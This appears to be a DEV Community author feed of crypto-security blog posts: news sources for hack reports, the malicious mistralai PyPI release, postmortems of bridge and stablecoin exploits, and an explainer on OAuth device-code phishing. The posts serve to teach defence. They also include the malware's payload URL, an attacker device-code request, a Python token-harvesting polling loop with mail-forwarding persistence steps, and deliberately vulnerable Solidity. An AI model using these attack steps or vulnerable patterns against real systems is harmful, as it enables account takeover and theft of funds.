DEV Community: Saravana kumar

Top 10 Crypto News Websites Every Developer Should Track for Security Intelligence and Hack Reports

Saravana kumar — Thu, 14 May 2026 11:48:10 +0000

Blockchain and cryptocurrency move at breakneck speed. For developers building dApps, smart contracts, bridges, or wallets, writing secure code is just the starting point. You need continuous access to real-time intelligence on emerging vulnerabilities, detailed post-mortem analyses of hacks, on-chain forensics, audit insights, and latest threat trends. The crypto space has already lost tens of billions of dollars due to exploits like smart contract bugs, private key compromises, bridge attacks, and social engineering.
Following the right sources regularly helps you move from reactive fixes to building truly proactive and resilient systems. Here is a detailed breakdown of the top crypto news websites every developer should bookmark and check often.

1. CoinDesk (coindesk.com)

CoinDesk is one of the most authoritative and trusted general crypto news platforms. It delivers timely and high-quality coverage of major hacks, exchange breaches, protocol-level security incidents, regulatory developments affecting security, and broader industry risks.
Developers benefit from its in-depth reporting on Layer 2 solutions, protocol upgrades, institutional adoption risks, and breaking security events. The platform also provides price data, research, indices, and analysis that give important context on how market movements or regulations can affect project security. Its "Latest Crypto News" section and exploit coverage make it a solid daily starting point.

Core Expertise:

Breaking news on major security incidents and hacks
Regulatory and policy updates impacting security
Market context and broader industry risk analysis
Credible, high-standard journalism

2. De.Fi REKT Database (de.fi/rekt-database)

The De.Fi REKT Database is a manually curated and comprehensive repository of thousands of documented scams, DeFi exploits, exit scams, phishing attacks, and other Web3 incidents. It includes total funds lost calculations, categorizations by attack type and chain, detailed vulnerability breakdowns, and useful analytical insights.
Created by the De.Fi security team, it serves as a powerful reference for threat modeling. Developers can search specific projects, study recurring problems such as access control flaws or admin key compromises, and learn preventive patterns. This database helps avoid repeating past mistakes and supports smarter architecture decisions.

Core Expertise:

Historical database of Web3 exploits and scams
Attack categorization and loss tracking
Threat modeling from real past incidents
Identifying recurring vulnerability patterns

3. SlowMist Hacked (hacked.slowmist.io)

SlowMist maintains one of the largest independent blockchain security incident databases. It tracks thousands of hack events with cumulative losses exceeding tens of billions of dollars. The site categorizes incidents by type and ecosystem, providing clear descriptions, timelines, loss amounts, and attack methods.
It features real-time updates on latest exploits and releases monthly security reports that analyze trends like supply chain attacks, phishing, and private key leaks. For developers, this is an invaluable raw data source for research, pattern recognition, and strengthening code security.

Core Expertise:

Large independent hack database management
Monthly security trend analysis
Real-time exploit tracking
Detailed attack vector documentation

4. QuillAudits (quillaudits.com)

QuillAudits is a leading blockchain security auditing firm that has completed over 1,500 audits and secured protocols with significant total value locked. Their platform offers audit reports, vulnerability leaderboards, blog resources, and tools focused on smart contract security, OPSEC, multisig reviews, and infrastructure protection.
They cover the full protocol lifecycle from design and threat modeling to adversarial audits, operational security, and post-launch monitoring. Developers gain practical insights into both common and emerging vulnerabilities, economic attack vectors, and best practices for building secure systems across DeFi, RWA, and infrastructure projects.

Core Expertise:

Smart contract auditing and code security
Vulnerability identification and classification
Security best practices and OPSEC
Full lifecycle protocol security

5. Rekt.news (rekt.news)

Rekt.news delivers sharp, investigative, and narrative-driven journalism on major DeFi exploits. Their detailed "Rekt" reports break down incidents with timelines, root cause analysis (such as admin key compromises, missing timelocks, upgrade flaws, or oracle issues), and discussions on systemic risks.
The platform's in-depth style helps developers understand not just what happened but why it happened and what broader lessons should be applied. It covers sophisticated attacks across different chains and frequently highlights governance, operational, and architectural failures.

Core Expertise:

Investigative reporting on big DeFi hacks
Deep root cause analysis
Governance and architectural failure breakdowns
Narrative-style post-mortems

6. Cryip (cryip.co)

Cryip is a research-driven platform that delivers crypto and Web3 news, on-chain data analysis, tokenomics research, and strong security intelligence. Its dedicated Security & Hacks section stands out for timely and detailed reporting on real-world exploits and security incidents.
Beyond hacks, Cryip offers weekly on-chain metrics reports across major chains like Ethereum, Solana, and Bitcoin, token unlock schedules with supply impact analysis, fundraising news, and compliance updates that often relate to security and risk management. Its technical yet accessible writing style helps developers connect market context, on-chain data, and practical security implications when designing protocols or building user protection features.

Core Expertise:

Security news combined with on-chain analysis
Weekly on-chain metrics and token unlock reports
Market context for security events
Practical technical intelligence for developers

7. CertiK (certik.com)

CertiK is one of the largest Web3 security platforms. It combines formal verification, smart contract audits, AI-powered tools, and real-time monitoring through Skynet. They have assessed hundreds of billions in market cap, identified tens of thousands of vulnerabilities, and secured thousands of projects.
Developers should follow their research reports, security scores, vulnerability disclosures, and insights on emerging threats. Skynet provides ongoing project monitoring, while their audit methodology and educational content help raise smart contract security standards.

Core Expertise:

Smart contract audits and formal verification
Real-time security monitoring
Security scoring and risk assessment
Enterprise-level vulnerability research

8. Chainalysis (chainalysis.com)

Chainalysis is the leading blockchain analytics and intelligence platform, trusted by law enforcement, regulators, and enterprises. It excels at tracing illicit funds, visualizing transaction flows across chains (including bridges and mixers), and providing deep reports on crypto crime trends, money laundering, sanctions evasion, and post-hack fund movements.
Although enterprise-focused, developers gain critical understanding of how exploits unfold on-chain, how attribution works, and how stolen funds are laundered. This knowledge helps make better decisions on privacy versus compliance, risk modeling, and user safety features.

Core Expertise:

On-chain fund tracing and attribution
Crypto crime and money laundering analysis
Post-hack fund flow tracking
Blockchain forensics

9. TRM Labs (trmlabs.com)

TRM Labs delivers advanced blockchain intelligence, AI agents, and threat graphs across more than 180 chains. Used by governments and financial institutions, it effectively maps illicit activity categories and supports real-time detection and disruption.
Their reports provide macro insights into trends in crypto-related crime. For developers, TRM Labs data helps build more resilient applications, improve fraud prevention, and incorporate risk signals into smart contracts or frontends.

Core Expertise:

Advanced threat intelligence and AI risk detection
Illicit activity tracking and categorization
Fraud prevention and compliance tools
Macro crypto crime trend reports

10. DeFiLlama Hacks (defillama.com/hacks)

DeFiLlama’s Hacks database offers a clean and data-rich view of exploits with total value lost statistics, breakdowns by DeFi versus bridges, chain rankings, attack vectors, techniques, and languages used. It includes searchable tables, visualizations, and export options.
This quantitative resource is excellent for analyzing trends and benchmarking your project’s risk profile against historical data.

Core Expertise:

Quantitative hack data and loss statistics
Attack vector and chain-wise trend analysis
Data visualization of security incidents
Historical risk benchmarking Why Developers Must Track These Sources Regularly Monitoring these platforms helps you learn from past incidents, implement stronger architecture and OPSEC, conduct better audits, and build safer features for users. Security intelligence should become part of your regular workflow.

Pro Tips:

Prioritize Security & Hacks sections on Cryip, SlowMist, Rekt.news, and DeFiLlama.
Set up Google Alerts, RSS feeds, or newsletter subscriptions.
Cross-reference incidents across multiple sources for complete understanding.
Apply learnings immediately: code reviews, multisig and timelock usage, regular audits, and monitoring setup. By actively following these 10 resources, developers can gain a real edge in building secure and resilient blockchain systems in a high-risk environment.

Mistral AI PyPI Supply Chain Attack (mistralai 2.4.6): What Python & AI Developers Must Do Right Now

Saravana kumar — Wed, 13 May 2026 12:06:54 +0000

On May 12, 2026, Microsoft Threat Intelligence along with security firms (Aikido, Wiz, Socket, and others) disclosed that mistralai==2.4.6 on PyPI contained malicious code. This was the official Python client library for Mistral AI's large language models.
The malicious version remained live for only a few hours but may have been downloaded by thousands of developers working on AI agents, trading bots, smart contract tools, RAG pipelines, and internal applications.
Key facts:

Only version 2.4.6 was affected. All other versions are clean.
The package has been removed from PyPI.
This attack is part of the ongoing "Mini Shai-Hulud" campaign that has already compromised many popular packages across PyPI and npm.

How the Malware Worked (Technical Breakdown)

The attack was stealthy and effective:
Execution on Import Malicious code was injected into src/mistralai/client/init.py. Simply running import mistralai on Linux systems triggered the payload.
Payload Delivery It silently downloaded https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz and executed it in the background. The filename was chosen to mimic the legitimate Hugging Face transformers library.
Credential Harvesting The malware searched the system for:

GitHub tokens
Cloud credentials (AWS, GCP, Azure)
API keys
Passwords stored in common locations
Potentially crypto wallet related files
Evasion Techniques
Skipped systems set to Russian language.
On systems appearing to be in Israel or Iran, it had a random chance to run destructive commands that could wipe files.

Immediate Actions for Developers (Do This Today)

1. Check if you installed the malicious version
Check installed version
pip list | grep mistralai

Search in dependency files
grep -E "mistralai==2.4.6" \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null

2. Revert to Safe Version
Downgrade to clean version
pip install mistralai==2.4.5 --force-reinstall

Or install the latest clean version
pip install mistralai --upgrade
3. Scan for Indicators of Compromise
Check for dropped payload
ls /tmp/transformers.pyz

Look for suspicious files
find /tmp -name "transformer" -type f 2>/dev/null
4. Rotate All Secrets

Rotate GitHub Personal Access Tokens (especially those with broad scopes)
Rotate cloud access keys
Change API keys used with Mistral services
Update secrets in CI/CD pipelines

Long-Term Defenses Every AI/Python Developer Should Adopt

Dependency Security Checklist:

Always pin exact versions in production (never use loose versions like mistralai).
Use lock files (poetry.lock, uv.lock, etc.) and regularly audit them.
Add dependency scanning in CI/CD (pip-audit, safety, osv-scanner, Dependabot).
Generate SBOMs for critical projects.
Use virtual environments or containers for all experiments.
Wait 24-48 hours before adopting newly released versions of popular packages.
Consider internal package mirrors (Artifactory, Nexus, or simple PyPI cache) for team projects.
For teams heavily using Mistral AI:
Audit all code using from mistralai import Mistral
Review automated dependency update tools and add allow-lists for critical AI packages.
Why This Keeps Happening
Supply chain attacks are increasing because developers often install packages with a single command without verification. Attackers now target widely used tools, especially in the fast-moving AI and crypto development space. The "Mini Shai-Hulud" campaign proves that even official packages from reputable companies can be compromised.

Conclusion

No package is completely safe, even from well-known AI companies like Mistral AI. Security must be part of every developer's daily workflow.
Verify. Pin versions. Scan regularly. Rotate secrets.

Polkadot Bridge Hack: MMR Proof Bug Leads to 1B DOT Mint

Saravana kumar — Mon, 13 Apr 2026 12:10:43 +0000

On April 13, 2026, the Hyperbridge ISMP (Interoperability State Machine Protocol) gateway on Ethereum was exploited. An attacker forged an ISMP PostRequest by exploiting a critical edge-case bug in the Merkle Mountain Range (MMR) proof verification logic combined with missing proof-to-request binding and weak authorization checks in the TokenGateway contract.
The result: 1,000,000,000 bridged DOT tokens were minted in a single atomic transaction, which were immediately swapped for approximately 108.2 ETH ($237,000 – $242,000). Native Polkadot remained completely unaffected. The EthereumHost contract has since been frozen.

On-Chain Summary

Exploit Transaction: 0x240aeb9a8b2aabf64ed8e1e480d3e7be140cf530dc1e5606cb16671029401109
Attacker EOA: 0xC513E4f5D7a93A1Dd5B7C4D9f6cC2F52d2F1F8E7
Master Contract: 0x518AB393c3F42613D010b54A9dcBe211E3d48f26
Helper Contract: 0x31a165a956842aB783098641dB25C7a9067ca9AB
Target Token: 0x8d010bf9C26881788b4e6bf5Fd1bdC358c8F90b8 (Bridged DOT – ERC-6160)
Profit: ~108.2 ETH
Gas Used: ~0.000339 ETH

Root Cause Analysis

The exploit was made possible by a dangerous combination of three vulnerabilities:
1. MMR Library Edge-Case Bug
The Merkle Mountain Range library contained a boundary-condition flaw in leavesForSubtree() and CalculateRoot(). When leafCount == 1, supplying an out-of-range leaf_index (e.g., 1) caused the function to silently drop the forged leaf. The verifier then promoted the next element in the proof array , a stale but legitimate historical root, directly to the computed root position.
This allowed the system to accept a completely forged payload while still passing proof verification.
Fix:
solidity
function leavesForSubtree(uint256 leafCount, uint256 leafIndex) internal pure returns (uint256) {
if (leafIndex >= leafCount) {
revert InvalidLeafIndex(leafIndex, leafCount);
}
// existing logic
}

function CalculateRoot(...) public pure returns (bytes32) {
require(leafIndex < leafCount, "MMR: leaf index out of bounds");
// ...
}
Recommendation: Always add strict bounds checking and unit tests for edge cases where leafCount == 0 or leafCount == 1.

2. Missing Cryptographic Binding Between Proof and Request

HandlerV1 only checked that the request commitment hash (request.hash()) had not been consumed before. However, the proof verification did not cryptographically bind the submitted request payload to the validated MMR proof.
As a result, an attacker could pair any valid historical proof with a completely different malicious request body.
Fix:
solidity
function handlePostRequests(PostRequest calldata request, bytes[] calldata proof) external {
// Bind proof to the exact request
bytes32 commitment = keccak256(abi.encode(request, proof));
require(!consumed[commitment], "ISMP: already consumed");

require(verifyProof(request, proof), "ISMP: invalid proof");
// ...

}
3. Weak Authorization in TokenGateway
Governance actions in TokenGateway used only a shallow source field check instead of the full authenticate(request) modifier:
solidity
function handleChangeAssetAdmin(PostRequest calldata request) internal {
if (!request.source.equals(IIsmpHost(_params.host).hyperbridge()))
revert UnauthorizedAction();

// CRITICAL: authenticate(request) was missing
IERC6160Ext20(erc6160Address).changeAdmin(newAdmin);

}
Additionally, the challengePeriod was set to 0, removing any delay-based safety window.
Fix:
solidity
function handleChangeAssetAdmin(PostRequest calldata request) internal {
authenticate(request); // Full authentication
require(challengePeriod > 0, "Challenge period must be enabled");

IERC6160Ext20(erc6160Address).changeAdmin(newAdmin);

}
4. Dangerous ERC-6160 Privilege Model
The ERC-6160 token standard granted the new admin immediate and unrestricted MINTER_ROLE and BURNER_ROLE upon calling changeAdmin(). There was no time-lock, multi-signature requirement, or secondary confirmation.
Once the attacker’s helper contract became the admin, it could mint 1 billion DOT tokens in a single call.
Fix Recommendations:

Step-by-Step Attack Flow

The attacker funded the EOA through Railgun shielded pools and Synapse Bridge for obfuscation.
Deployed a master orchestration contract and a helper contract (which would become the new token admin).
Called HandlerV1.handlePostRequests() with a carefully crafted PostRequest and MMR proof that triggered the leafCount == 1 edge case.
The forged request (action 0x04 – ChangeAssetAdmin) was dispatched to TokenGateway.onAccept().
The helper contract was set as the new admin of the bridged DOT token.
1 billion DOT tokens were minted, approved to OdosRouterV3, and swapped via Uniswap V4 PoolManager for 108.2 ETH in one transaction.

Key Lessons & Developer Checklist

1. Risk: MMR Proof
Vulnerability: Edge case when leafCount == 1
Recommended Fix: Enforce strict validation (leafIndex < leafCount) and add thorough tests
Priority: Critical
2. Risk: Proof Handling
Vulnerability: No binding between proof and request
Recommended Fix: Use a cryptographic commitment over (request + proof)
Priority: Critical
3. Risk: Authorization
Vulnerability: Only a shallow source check is performed
Recommended Fix: Implement full authenticate(request) modifier
Priority: Critical
4. Risk: Governance
Vulnerability: challengePeriod = 0
Recommended Fix: Enforce a minimum delay of 1 hour
Priority: High
5. Risk: Token Admin
Vulnerability: Instant minting rights
Recommended Fix: Add time-lock and separate role management
Priority: High
6. Risk: Architecture
Vulnerability: Single gateway handling all assets
Recommended Fix: Split into separate TokenGateway per asset
Priority: Medium

Additional Best Practices:

Implement real-time monitoring for large mints from the zero address.
Conduct thorough audits of light clients and consensus integrations.
Run a generous bug bounty program focused on proof verification paths.
Always test boundary conditions in Merkle-based verification logic.

Final Thoughts

This exploit highlights a critical truth in cross-chain bridge security: proof verification and authorization must both be bulletproof. A single weakness in either layer can lead to catastrophic consequences.
For developers building bridges, light clients, or token gateways:
Never skip strict bounds checking.
Always cryptographically bind proofs to their payloads.
Treat governance actions with the same (or higher) security standards as asset transfers.

Aethir Adapter Exploit : Complete Technical Postmortem Report

Saravana kumar — Fri, 10 Apr 2026 09:30:53 +0000

Aethir, a decentralized GPU cloud computing platform focused on providing affordable AI and gaming compute resources, faced a security incident on April 9, 2026. The attack targeted the AethirOFTAdapter contract on BNB Chain.

Initially, around 423,000 ATH (~$400K+) was drained during the exploit. However, the latest update confirms that actual user losses are limited to less than $90,000 USD, and Aethir has announced that a full compensation plan will be provided for affected users.

The attacker initially appeared to drain a substantial amount of ATH tokens. However, the Aethir team responded quickly and contained the exploit. The main token supply on Ethereum remained completely safe.

Technical Details:

Exploit Method: transferOwnership(address newOwner)
New Owner Address: 0xd5fa8ac45d6a0984d14f3b301b18910948deb11a
Total Drained: Approximately 423,000 ATH (PeckShield estimate ~$400K+)
Victim Contract: AethirOFTAdapter (Omnichain Fungible Token Adapter on BNB Chain)
Vulnerability Type: Access Control Failure (missing or bypassed onlyOwner modifier and weak ownership validation)
Bridge Used: Symbiosis Finance (cross-chain bridge)
Chains Involved: BNB Chain (exploit origin) to TRON (final destination)
Attack Complexity: Low – no flash loan, no price oracle manipulation, pure ownership takeover
The attack was simple yet effective. The attacker directly called the transferOwnership function on the AethirOFTAdapter smart contract. This function allowed them to become the new owner without proper authorization checks. Once they gained ownership, they could freely call sensitive functions like token transfers. They drained the available ATH tokens held in or controlled by the adapter contract. This highlights a common risk in bridge and adapter contracts that rely on ownership patterns for admin control, especially in omnichain setups using standards similar to LayerZero OFT.
After draining the tokens, the attacker did not hold them long on BNB Chain. They quickly routed the funds through multiple intermediate wallets to obscure the trail. Finally, they used the Symbiosis Finance bridge to move everything to the TRON network. This cross-chain move makes tracking and freezing harder across different blockchains.

On-Chain Funds Flow (Exact Verified Addresses):

Initial Receiver (Exploiter): 0xd5fa8ac45d6a0984d14f3b301b18910948deb11a received 423K ATH
Intermediate Wallet 1: 0x0BB5EC0B8931F3Ae1587F2b4c4f1885343B0BDC7 received 324K ATH
Intermediate Wallet 2: 0x3A94447A7a5e5a28326ebc6730C48b0c7092F963 received 324K ATH plus additional 202K movement
Bridge Step: Symbiosis Finance (green bridge in PeckShield diagram)
Final TRON Wallets:
TL38ssgWktRRfhdjGEyfVkPD8CdP2UPq18
TNC4wgK518RZdZVa6NPZLnqy6FEswA4G15 The funds are currently split and sitting dormant on these two TRON addresses. No further transfers, mixing services, or cash-out attempts have been observed as of April 10, 2026. This gives the Aethir team and supporting exchanges a window to coordinate freezes if possible.

Timeline of Events:

April 9, 2026 : Exploit executed and funds drained on BNB Chain.
April 9 evening : PeckShieldAlert publicly flagged the incident with flow diagram.
April 10 early morning : Full amount bridged to TRON.
April 10 : Aethir official statement released.

Aethir Official Response:

Aethir team confirmed the incident and stated that all compromised bridge contracts have been disconnected immediately. The main ATH token supply on Ethereum remains 100% intact and unaffected. The ETH-ARB bridge using Squid is also safe. They estimated user impact below $90,000 USD and announced that a detailed full compensation plan will be released next week. The team is also working with exchanges to help monitor and potentially freeze the attacker wallets.

Impact Assessment:

This exploit affected only the specific bridge adapter on BNB Chain. Core protocol operations, decentralized GPU network, and primary token reserves were not impacted. The quick response from both PeckShield and Aethir prevented wider damage. Compared to other recent bridge hacks, this one was contained relatively well with lower user loss. However, it still shows the persistent risks in cross-chain infrastructure.

Why This Vulnerability Matters:

Omnichain adapters like OFT are designed to make tokens move seamlessly across chains. But they often inherit ownership control patterns from standard ERC-20 or LayerZero implementations. If access control is not hardened with multi-sig, timelock, or renounceOwnership, a single function call can lead to total compromise. This case serves as a reminder for all DeFi projects using bridges.

Recommendations for Projects:

Implement multi-signature wallets with timelock delays for all admin functions including transferOwnership.
Consider full ownership renouncement after initial setup where possible.
Add 2-step verification or DAO governance for sensitive operations.
Integrate real-time monitoring tools like PeckShield, CertiK, or Forta.
Conduct regular third-party audits specifically focused on bridge and adapter contracts.
Test ownership-related functions thoroughly in staging environments.

Recommendations for Users:

Keep large holdings on the main Ethereum chain rather than bridged versions when not needed.
Be cautious with new or less-audited bridge integrations.
Monitor official project channels for security updates.

The Evolution of Token Hijacking: AI-Powered OAuth Device Code Phishing

Saravana kumar — Wed, 08 Apr 2026 10:34:32 +0000

A new generation of cyberattacks is moving beyond simple credential theft toward Session and Token Hijacking. By abusing the OAuth 2.0 Device Authorization Grant (RFC 8628), threat actors are bypassing traditional MFA and Phishing protections. This attack doesn't steal your password; it steals your identity's "keys" while you perform a legitimate login on a trusted Microsoft domain.

The Core Vulnerability: Device Code Flow Misuse

The Device Code Flow was designed for input-constrained devices (like Smart TVs or CLI tools) that cannot easily render a browser.
The Protocol Logic
The standard flow follows this path:$$Client \rightarrow Device\ Authorization\ Endpoint \rightarrow User\ Code \rightarrow User\ Auth \rightarrow Access\ Token$$
The Security Gap
The critical flaw lies in the decoupling of the authentication session. The user authenticates independently of the client requesting the token. Because there is no browser session binding the victim to the attacker’s machine, the attacker can initiate the flow and simply wait for the victim to "authorize" it.

Technical Attack Chain: Step-by-Step

AI-Enhanced Reconnaissance
Attackers use LLMs to automate reconnaissance. By hitting the GetCredentialType endpoint, they validate targets before ever sending an email.

Endpoint: https://login.microsoftonline.com/common/GetCredentialType
Goal: Confirm account existence and identify federated tenants to ensure a high Return on Investment (ROI).
Social Engineering & Evasion
Using AI, attackers generate hyper-personalized, role-based phishing content (e.g., HR onboarding docs for new hires). To bypass URL filters, they host their redirectors on legitimate serverless infrastructure:
Platforms: Vercel, Cloudflare Pages, AWS Lambda.
Tactic: Multi-hop redirects and domain cloaking to hide the malicious backend.
The "Just-in-Time" Device Code Injection
Unlike older attacks that used static codes, modern "Phishing-as-a-Service" (PhaaS) like EvilTokens generates codes dynamically.
Trigger: The moment a victim clicks the phishing link, the attacker's backend sends a POST request to /devicecode.
Payload:
JSON
{
"client_id": "ATTACKER_APP_ID",
"scope": "openid profile offline_access",
"verification_uri": "https://microsoft.com/devicelogin"
}

Delivery: The victim is shown a legitimate Microsoft login page. Since the domain is microsoft.com, traditional "look-alike domain" detectors fail.
The Polling Loop (Token Harvesting)
While the victim logs in, the attacker’s script runs a polling loop to catch the token the moment authentication is complete:
Python
while True:
response = requests.post(token_endpoint, data=polling_payload)
if "access_token" in response:
store_tokens(response.json())
break
time.sleep(3) # Rapid polling for near-instant hijacking

Post-Exploitation: Living off the Graph

Once the access_token and refresh_token are secured, the attacker has full API access via Microsoft Graph.
Persistence: Registering a new managed device to generate a Primary Refresh Token (PRT), allowing long-term access even if the user changes their password.
Exfiltration: Silently creating inbox rules to forward emails containing keywords like "Invoice" or "Payment" to an external attacker-controlled address.

Why Traditional Defenses Fail

The effectiveness of this attack lies in its ability to operate within the boundaries of legitimate authentication traffic. Rather than trying to steal a secret, the attacker tricks the user into performing a valid action on the attacker's behalf.

Multi-Factor Authentication (MFA)
The user completes the MFA challenge themselves on the official Microsoft portal. Because the authentication happens on a real, trusted session, the attacker receives a fully validated token without ever needing to see or bypass the MFA prompt.

Password Monitoring
This method does not actually steal credentials. Since the user enters their password directly into the genuine Microsoft site, "leaked password" databases and local password-sharing protections are never triggered. There is no "stolen password" to detect.

URL Filtering
Most web filters and email gateways are configured to trust microsoft.com implicitly. Because the final destination of the phishing link is a legitimate, high-reputation domain, the attack often bypasses automated security scanners that look for "look-alike" or malicious domains.

Engineering-Level Mitigations

Detection Engineering (KQL)
Security teams should monitor Azure AD Sign-in logs for anomalies in the deviceCode protocol.
Code snippet
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppId !in (Your_Trusted_App_IDs)
| summarize count() by UserPrincipalName, AppId, IPAddress

Strategic Hardening
Conditional Access (CA): Restrict Device Code Flow to specific, trusted IP ranges or compliant devices.
Continuous Access Evaluation (CAE): Enable CAE to revoke tokens in real-time if a risk is detected.
Disable the Flow: If your organization does not use CLI tools or smart devices that require this flow, disable it entirely via the Authentication Methods policy in Entra ID.

Conclusion

The shift from Credential Theft to Token Hijacking represents a significant leap in attacker maturity. As AI continues to automate the "human" element of phishing, developers must move toward a Zero Trust architecture where no OAuth flow is considered safe by default. Trust the protocol, but verify the context.

How a Missing Input Validation in requestSwap() Let an Attacker Drain $25M from Resolv Labs

Saravana kumar — Mon, 23 Mar 2026 09:13:29 +0000

Resolv Labs operates a decentralised stablecoin protocol where users deposit collateral to mint USR. The attacker exploited two weaknesses simultaneously. First, the minting logic never verified whether the amount of USR being requested was proportional to the collateral provided. By supplying a wildly inflated targetAmount parameter, they claimed 80 million USR in exchange for a $200K deposit, a 400x overmint. Second, and critically, the SERVICE_ROLE private key that authorises mint completions had been compromised. This meant the attacker did not need to wait for any off-chain oracle or protocol operator to approve the transaction. They called completeSwap() directly, minting unbacked tokens on demand with no external check standing in the way.

To avoid triggering immediate liquidity alarms, the attacker staked the freshly minted tokens into wstUSR, then systematically exited through stablecoin pairs (USDC, USDT) on Curve Finance. The proceeds were finally converted to native ETH. By the time the protocol team could react, the bulk of the stolen funds had already cleared. USR lost its dollar peg, crashing 80% in secondary liquidity pools.

The root cause: two compounding flaws

Flaw 1: No output validation in swap functions
The core bug lived in requestSwap and completeSwap. The protocol accepted a user-supplied targetAmount without ever checking whether it was proportional to amountIn. This is the equivalent of a bank accepting a withdrawal slip without verifying the account balance.
SolidityVulnerable
// No validation: user can request any output amount
function requestSwap(
address tokenIn,
uint256 amountIn,
uint256 targetAmount, // user-controlled, never verified
address tokenOut
) external {
pendingSwaps[msg.sender] = SwapRequest({
amountIn: amountIn,
targetAmount: targetAmount, // stored as-is
tokenOut: tokenOut
});
}

function completeSwap(address user) external onlyServiceRole {
SwapRequest memory req = pendingSwaps[user];
// mints whatever targetAmount says, no sanity check
_mint(user, req.targetAmount);
}
The attacker passed targetAmount = 80,000,000 USR with amountIn = 200,000 USDC. The contract complied without question.
Flaw 2: Single-key SERVICE_ROLE signer
The completeSwap function was gated behind a SERVICE_ROLE modifier, but that role was held by a single private key. Analysts believe this key was compromised, allowing the attacker to trigger completeSwap themselves without waiting for a legitimate off-chain oracle.
SolidityVulnerable
// A single compromised key unlocks unlimited minting
modifier onlyServiceRole() {
require(
hasRole(SERVICE_ROLE, msg.sender),
"Not authorized"
);
_;
}

// If the attacker controls SERVICE_ROLE, they call this directly
function completeSwap(address user) external onlyServiceRole {
_mint(user, pendingSwaps[user].targetAmount); // no limits
}

Attack flow, step by step

Execution timeline

1.Deposit 200,000 USDC as collateral
Legitimate entry, raises no flags
2.Call requestSwap with targetAmount = 80,000,000 USR
Inflated output param, never validated on-chain
3.Call completeSwap via compromised SERVICE_ROLE key
80M USR minted instantly across two transactions (~50M + ~30M)
4.Stake into wstUSR to bypass liquidity limits
Slippage and pool depth constraints avoided
5.Swap through USDC/USDT pools on Curve Finance
Value extracted before secondary markets could reprice
6.Convert all proceeds to native ETH and withdraw
Approximately 11,400 ETH (~$24M) cleared before the protocol freeze

How developers should fix this

Fix 1: Validate targetAmount against the exchange rate
Every minting function must verify that the requested output is mathematically consistent with the provided input. A maximum slippage tolerance of 1% is a reasonable starting point.
SolidityFixed
function requestSwap(
address tokenIn,
uint256 amountIn,
uint256 targetAmount,
address tokenOut
) external {
// Derive expected output from on-chain oracle or exchange rate
uint256 expectedOutput = getExpectedOutput(tokenIn, amountIn, tokenOut);

// Allow at most 1% above expected, reject anything larger
uint256 maxAllowed = expectedOutput * 101 / 100;
require(
    targetAmount <= maxAllowed,
    "targetAmount exceeds allowable output"
);

pendingSwaps[msg.sender] = SwapRequest({
    amountIn: amountIn,
    targetAmount: targetAmount,
    tokenOut: tokenOut,
    timestamp: block.timestamp
});

}
With this check, the attacker's 80M USR request would have been rejected immediately. The expected output for 200K USDC is roughly 200K USR, making 80M about 400x the allowed ceiling.
Fix 2: Replace the single-key signer with multi-signature
SolidityFixed
// Require 3 of 5 designated signers to authorise any mint
function completeSwap(
address user,
bytes[] calldata signatures
) external {
require(
_verifyMultiSig(signatures, _hashSwapRequest(user)),
"Requires 3 of 5 signers"
);
_mint(user, pendingSwaps[user].targetAmount);
}
Fix 3: Enforce per-transaction and daily mint caps
SolidityFixed
uint256 public constant MAX_MINT_PER_TX = 1_000_000 * 1e18;
uint256 public constant MAX_MINT_PER_DAY = 10_000_000 * 1e18;
mapping(uint256 => uint256) public dailyMinted;

function completeSwap(address user) external onlyServiceRole {
SwapRequest memory req = pendingSwaps[user];

require(req.targetAmount <= MAX_MINT_PER_TX, "Exceeds per-tx cap");

uint256 today = block.timestamp / 1 days;
require(
    dailyMinted[today] + req.targetAmount <= MAX_MINT_PER_DAY,
    "Daily mint cap reached"
);

dailyMinted[today] += req.targetAmount;
_mint(user, req.targetAmount);

}
Fix 4: Add an automatic circuit breaker
SolidityFixed
uint256 public constant ALERT_THRESHOLD = 5_000_000 * 1e18;

function completeSwap(address user)
external onlyServiceRole whenNotPaused
{
SwapRequest memory req = pendingSwaps[user];

if (req.targetAmount > ALERT_THRESHOLD) {
    _pause();
    emit SuspiciousActivityDetected(user, req.targetAmount);
    return; // abort, no mint occurs
}

_mint(user, req.targetAmount);

}

Summary of vulnerabilities and fixes

Vulnerability: targetAmount not validated
What went wrong: Any output amount accepted regardless of input
Correct approach: Validate against on-chain exchange rate with slippage tolerance
Vulnerability: Single SERVICE_ROLE key
What went wrong: One compromised key enabled unlimited minting
Correct approach: Require 3-of-5 multi-sig for all privileged mint operations
Vulnerability: No mint limits
What went wrong: Unlimited tokens mintable in one transaction
Correct approach: Enforce hard caps per transaction and per calendar day
Vulnerability: No circuit breaker
What went wrong: Protocol continued operating after exploit began
Correct approach: Auto-pause when any single mint exceeds an anomaly threshold Core lesson "Never trust user input. Verify it on-chain. An off-chain service validating parameters is not a substitute for on-chain guards. If the smart contract does not check it, the blockchain will not check it for you."

This incident follows a growing pattern of DeFi exploits targeting minting and swap mechanics. As collateral-backed stablecoin protocols proliferate, rigorous on-chain input validation and distributed key management are no longer optional. They are baseline requirements.

How the OpenClaw GitHub Phishing Attack Actually Worked - And How to Defend Against It

Saravana kumar — Thu, 19 Mar 2026 12:53:58 +0000

In early 2026, a phishing campaign targeted developers who had starred the OpenClaw repository on GitHub. No zero-days. No CVEs. Just precise social engineering layered on top of trusted infrastructure - and a JavaScript wallet drainer that wiped its own evidence.
This article covers exactly three things: how the attack unfolded, what the attacker did technically, and what you can do to protect yourself.

How the Attack Unfolded

Building a Target List from GitHub Stars
The attackers did not send a generic blast. They enumerated users who had publicly starred OpenClaw-related repositories on GitHub. This turned a mass phishing attempt into something that felt personal - a message about a project you had already shown interest in.
Attackers started by enumerating users who had publicly starred OpenClaw repositories, built a curated target list from that data, and then used it to send targeted @mentions in GitHub issue threads.
Abusing GitHub's Notification System
Fake GitHub accounts were created roughly one week before the campaign launched - just enough time to satisfy GitHub's account-age thresholds. The attackers then:

Opened issue threads inside repositories they controlled (they had no access to legitimate repos).
Mass-tagged real developers using @username mentions inside those issues.
GitHub's notification system automatically delivered a trusted email alert to every tagged user.

The message read:

"Appreciate for your contributions on GitHub. We analyzed profiles and chosen developers to get OpenClaw allocation."
It promised $5,000 worth of $CLAW tokens and linked to a claim page.
This worked because GitHub notification emails look identical whether they come from a project you contribute to or a random repo you have never seen. Developers are trained to act on them.
The Phishing Site - token-claw[.]xyz
